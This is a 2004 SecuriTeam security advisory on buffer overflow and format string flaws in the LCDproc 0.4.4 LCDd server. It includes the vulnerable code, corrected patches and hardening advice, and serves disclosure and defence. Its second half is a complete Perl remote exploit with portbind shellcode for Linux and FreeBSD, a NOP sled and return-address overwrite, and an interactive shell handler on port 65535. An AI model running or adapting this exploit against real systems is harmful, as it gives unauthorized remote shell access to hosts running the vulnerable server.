[UNIX] LCDproc Buffer Overflow and Format String Vulnerabilities (Exploit)
From: SecuriTeam (support_at_securiteam.com)
Date: 04/15/04
- Previous message: SecuriTeam: "[UNIX] KPhone STUN DoS (Malformed STUN Packets)"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
To: list@securiteam.com Date: 15 Apr 2004 20:15:38 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
LCDproc Buffer Overflow and Format String Vulnerabilities (Exploit)
------------------------------------------------------------------------
SUMMARY
<http://lcdproc.omnipotent.net> LCDproc is "a software that displays
real-time system information from your Linux/*BSD box on a LCD. The server
supports several serial devices: Matrix Orbital, Crystal Fontz, Bayrad,
LB216, LCDM001 (kernelconcepts.de), Wirz-SLI, Cwlinux(.com) and
PIC-an-LCD; and some devices connected to the LPT port: HD44780, STV5730,
T6963, SED1520 and SED1330. Various clients that display things such as
CPU load, system load, memory usage, uptime, and a lot more, are
available".
A remote exploitable buffer overflow that allows remote users to execute
an arbitrary code was found on LCDd server. The problem appears on
function parse_all_client_messages() of parse.c file, a loop does not
check if MAXARGUMENTS were reached, causing the program to crash when lots
of arguments are passed to the function. In addition multiple bugs were
found on LCDd server that allow remote users to execute arbitrary code.
DETAILS
Vulnerable Systems:
* LCDproc versions 0.4.x up to (and including) 0.4.4
* LCDproc version CVS HEAD (0.5) before current
Immune Systems:
* LCDproc version 0.3.x
Problem 1:
Function parse_all_client_messages() on parse.c file.
if (invalid) {
// FIXME: Check for buffer overflows here...
sprintf (errmsg, "huh? Invalid command \"%s\"\n", argv[0]);
sock_send_string (c->sock, errmsg);
}
Sending an invalid long command, we overflow "errmsg" buffer, gaining
control of the EIP register.
Problem 2:
Function test_func_func() on client_functions.c.
int
test_func_func (client * c, int argc, char **argv)
{
int i;
char str[256];
for (i = 0; i < argc; i++) {
sprintf (str, "test_func_func: %i -> %s\n", i, argv[i]);
printf (str);
sock_send_string (c->sock, str);
}
return 0;
}
Sending a long argv on test_func command will cause an overflow on "str"
buffer.
Problem 3:
On same function above, it is possible to exploit a format string bug on
print(str);
Vendor status:
LCDproc 0.4.5 has been released to fix the issues described and is
available from the project website or from SourceForge.net. It is
recommended that all users upgrade to this version.
Similar patches have been committed to the CVS HEAD branch. It is
recommended that all users of this development version upgrade their
systems after running "cvs update -Pd" in the toplevel directory of the
source tree.
Technical discussion - patches:
- LCDproc version 0.4.4
The patch provided by the original posting fails to fix the issue it tries
to resolve and doesn't address another vulnerability.
With the original patch the counter i of the loop inside
parse_all_client_messages() in server/parse.c reaches MAX_ARGUMENTS which
already leads to an overflow.
===================================================================
RCS file: /cvsroot/lcdproc/lcdproc/server/parse.c,v
retrieving revision 1.10.2.2
diff -u -r1.10.2.2 parse.c
-- server/parse.c 29 Dec 2001 15:28:40 -0000 1.10.2.2
+++ server/parse.c 13 Apr 2004 18:07:22 -0000
@@ -158,7 +158,7 @@
argc++;
- } while (*p);
+ } while (*p && i < MAX_ARGUMENTS - 1);
/*debug(RPT_DEBUG, "exiting string
scan...");*/
The format string vulnerability inside test_func_func() in
server/client_functions.c is not addressed for LCDproc 0.4.4.
===================================================================
RCS file: /cvsroot/lcdproc/lcdproc/server/Attic/client_functions.c,v
retrieving revision 1.19.2.12
diff -u -r1.19.2.12 client_functions.c
-- server/client_functions.c 10 Apr 2002 12:35:54 -0000 1.19.2.12
+++ server/client_functions.c 13 Apr 2004 18:08:59 -0000
@@ -94,7 +94,7 @@
for (i = 0; i < argc; i++) {
snprintf (str, sizeof(str), "test_func_func: %i ->
%s\n", i, argv[i]);
- report (RPT_INFO, str);
+ report (RPT_INFO, "%s", str);
sock_send_string (c->sock, str);
}
return 0;
- LCDproc CVS HEAD branch (also known as 0.5)
The corresponding patches:
Index: server/parse.c
===================================================================
RCS file: /cvsroot/lcdproc/lcdproc/server/parse.c,v
retrieving revision 1.16
diff -u -r1.16 parse.c
-- server/parse.c 17 Jul 2002 22:09:06 -0000 1.16
+++ server/parse.c 13 Apr 2004 18:10:52 -0000
@@ -154,7 +154,7 @@
argc++;
- } while (*p);
+ } while (*p && i < MAX_ARGUMENTS - 1);
/*debug(RPT_DEBUG, "exiting string scan...");*/
Index: server/commands/client_commands.c
===================================================================
RCS file: /cvsroot/lcdproc/lcdproc/server/commands/client_commands.c,v
retrieving revision 1.3
diff -u -r1.3 client_commands.c
-- server/commands/client_commands.c 14 Jul 2002 20:30:35 -0000
1.3
+++ server/commands/client_commands.c 13 Apr 2004 18:10:53 -0000
@@ -45,7 +45,7 @@
for (i = 0; i < argc; i++) {
snprintf (str, sizeof(str), "%s: %i -> %s\n",
__FUNCTION__, i,
argv[i]);
- report (RPT_INFO, str);
+ report (RPT_INFO, "%s", str);
sock_send_string (c->sock, str);
}
return 0;
Additional instructions:
Apart from upgrading, users of LCDproc can improve security by acting
according to the following instructions.
It is highly recommended that users leave the default
Bind=127.0.0.1
setting in their LCDd.conf ([server] section) and use third-party tools
like stunnel or ssh to allow secure, encrypted connections to LCDd from
remote systems.
The default
User=nobody
is already reasonably secure, but a few notes are neccessary. To drop
priviledges by changing to the supplied user id, LCDd needs root
priviledges on startup.
For parrallel port devices this is not possible since root priviledges are
neccessary to access the parallel port on most *NIX systems.
It should also be noted that the choice of "nobody" is not optimal. The
"nobody" account can be found in most default *NIX installations and is
typically used by programs that are supposed to have very limited access
to the system. This makes it very likely that other programs run as
"nobody" already, giving LCDd access to their data (if any) and the
possibility to kill those processes etc. if it also runs as "nobody".
Users should create a new, separate user account solely for LCDd for
maximum security in this respect.
Exploit:
#!/usr/bin/perl
# Priv8security.com remote exploit for lcdproc server version 0.4.4 and
lower.
#
# Vendor Url: http://lcdproc.omnipotent.net/
# Play with offset "-o" to get shell.
#
# [wsxz@localhost wsxz]$ perl priv8lcd44.pl -h localhost -t 0
#
# -=[ Priv8security.com LCDproc Server 0.4.4 and lower remote exploit ]=-
#
# Connected!
# [+] Using address: 0xbfffd904
# [+] Checking version... 0.4.4
# [+] Sending stuff... Done!
# [+] Do we got a shell?
# [+] Enjoy your stay on this server =)
#
# ****** Welcome to 'localhost' ******
#
# Linux localhost.localdomain 2.4.21-0.13mdk #1 Fri Mar 14 15:08:06 EST
2003
# i686 unknown unknown GNU/Linux
# uid=503(wsxz) gid=503(wsxz) groups=503(wsxz),13(news)
#
################################################################################
use IO::Socket;
use Getopt::Std; getopts('h:p:t:o:', \%args);
if (defined($args{'h'})) { $host = $args{'h'}; }
if (defined($args{'p'})) { $port = $args{'p'}; }else{$port = 13666;}
if (defined($args{'t'})) { $system = $args{'t'}; }
if (defined($args{'o'})) { $offset = $args{'o'}; }else{$offset = 0;}
print "\n-=[ Priv8security.com LCDproc Server 0.4.4 and lower remote
exploit ]=-\n\n";
if(!defined($host)){
print "Usage:
-h <host>
-p port <default 13666>
-t target:
0 - linux
1 - freebsd
-o <offset>\n\n";
exit(1);
}
#Priv8 portbind shellcode by Ramon de Carvalho
$shellinux =
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a".
"\x02\x89\xe1\xb0\x66\xcd\x80\xff".
"\x49\x02\x6a\x10\x51\x50\x89\xe1".
"\x43\xb0\x66\xcd\x80\x89\x41\x04".
"\xb3\x04\xb0\x66\xcd\x80\x43\xb0".
"\x66\xcd\x80\x59\x93\xb0\x3f\xcd".
"\x80\x49\x79\xf9\x68\x2f\x2f\x73".
"\x68\x68\x2f\x62\x69\x6e\x89\xe3".
"\x52\x53\x89\xe1\xb0\x0b\xcd\x80";
#Priv8 portbind shellcode by Ramon de Carvalho
$shellfree =
"\x31\xc0\x50\x6a\x01\x6a\x02\x89".
"\xe7\x50\xb0\x61\xcd\x80\xff\x4f".
"\x02\x6a\x10\x57\x50\x50\xb0\x68".
"\xcd\x80\x89\x47\xf4\xb0\x6a\xcd".
"\x80\xb0\x1e\xcd\x80\x50\x50\xb0".
"\x5a\xcd\x80\xff\x4f\xec\x79\xf7".
"\x50\x68\x2f\x2f\x73\x68\x68\x2f".
"\x62\x69\x6e\x89\xe3\x50\x54\x53".
"\x50\xb0\x3b\xcd\x80";
if($system == 1 ){#freebsd buffer
$ret = 0xbfbfde58 - $offset;
$retb = $ret - 0x0808b1e6;
$shellcode = $shellinux;
}
if($system == 0){#linux buffer
$ret = 0xbfffd904 - $offset; #for ver 0.4.3
$retb = $ret - 0x0807057e;
$shellcode = $shellinux;
}
$new_ret = pack('l', ($retb));
$buffer = "priv8_func ";
$buffer .= "\x90" x (3000 - length($shellcode));
$buffer .= $shellcode;
$buffer .= (" \xe8" . $new_ret) x 264;
$sock = IO::Socket::INET->new(Proto=>"tcp",
PeerHost=>$host,PeerPort=>$port,Type=>SOCK_STREAM,Reuse=>1)
or die "[-] Cant connect\n";
print "Connected!\n";
print "[+] Using address: 0x", sprintf('%lx',($ret)), "\n";
print STDERR "[+] Checking version...";
print $sock "hello";
$sock->recv($awser,25);
$ver = substr($awser,16,5);
print STDERR " $ver\n";
print STDERR "[+] Sending stuff... ";
sleep(2);
print $sock "$buffer\n";
print STDERR "Done!\n";
print "[+] Do we got a shell?\n";
sleep(3);
$sc = IO::Socket::INET->new(Proto=>"tcp",
PeerHost=>$host,PeerPort=>65535,Type=>SOCK_STREAM,Reuse=>1)
or die "[-] No luck, try other offset.\n";
print "[+] Enjoy your stay on this server =)\n";
$sc->autoflush(1);
print $sc "echo;echo \"****** Welcome to '`hostname`' ******\"\n";
print $sc "echo;uname -a;id;echo\n";
die "cant fork: $!" unless defined($pid = fork());
if ($pid) {
while(defined ($line = <$sc>)) {
print STDOUT $line;
}
kill("TERM", $pid);
}
else
{
while(defined ($line = <STDIN>)) {
print $sc $line;
}
}
close($sc);
print "Good bye!!\n";
ADDITIONAL INFORMATION
The information has been provided by <mailto:security@priv8security.com>
Adriano Lima and <mailto:reenoo@gmx.de> Rene Wagner.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Previous message: SecuriTeam: "[UNIX] KPhone STUN DoS (Malformed STUN Packets)"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
|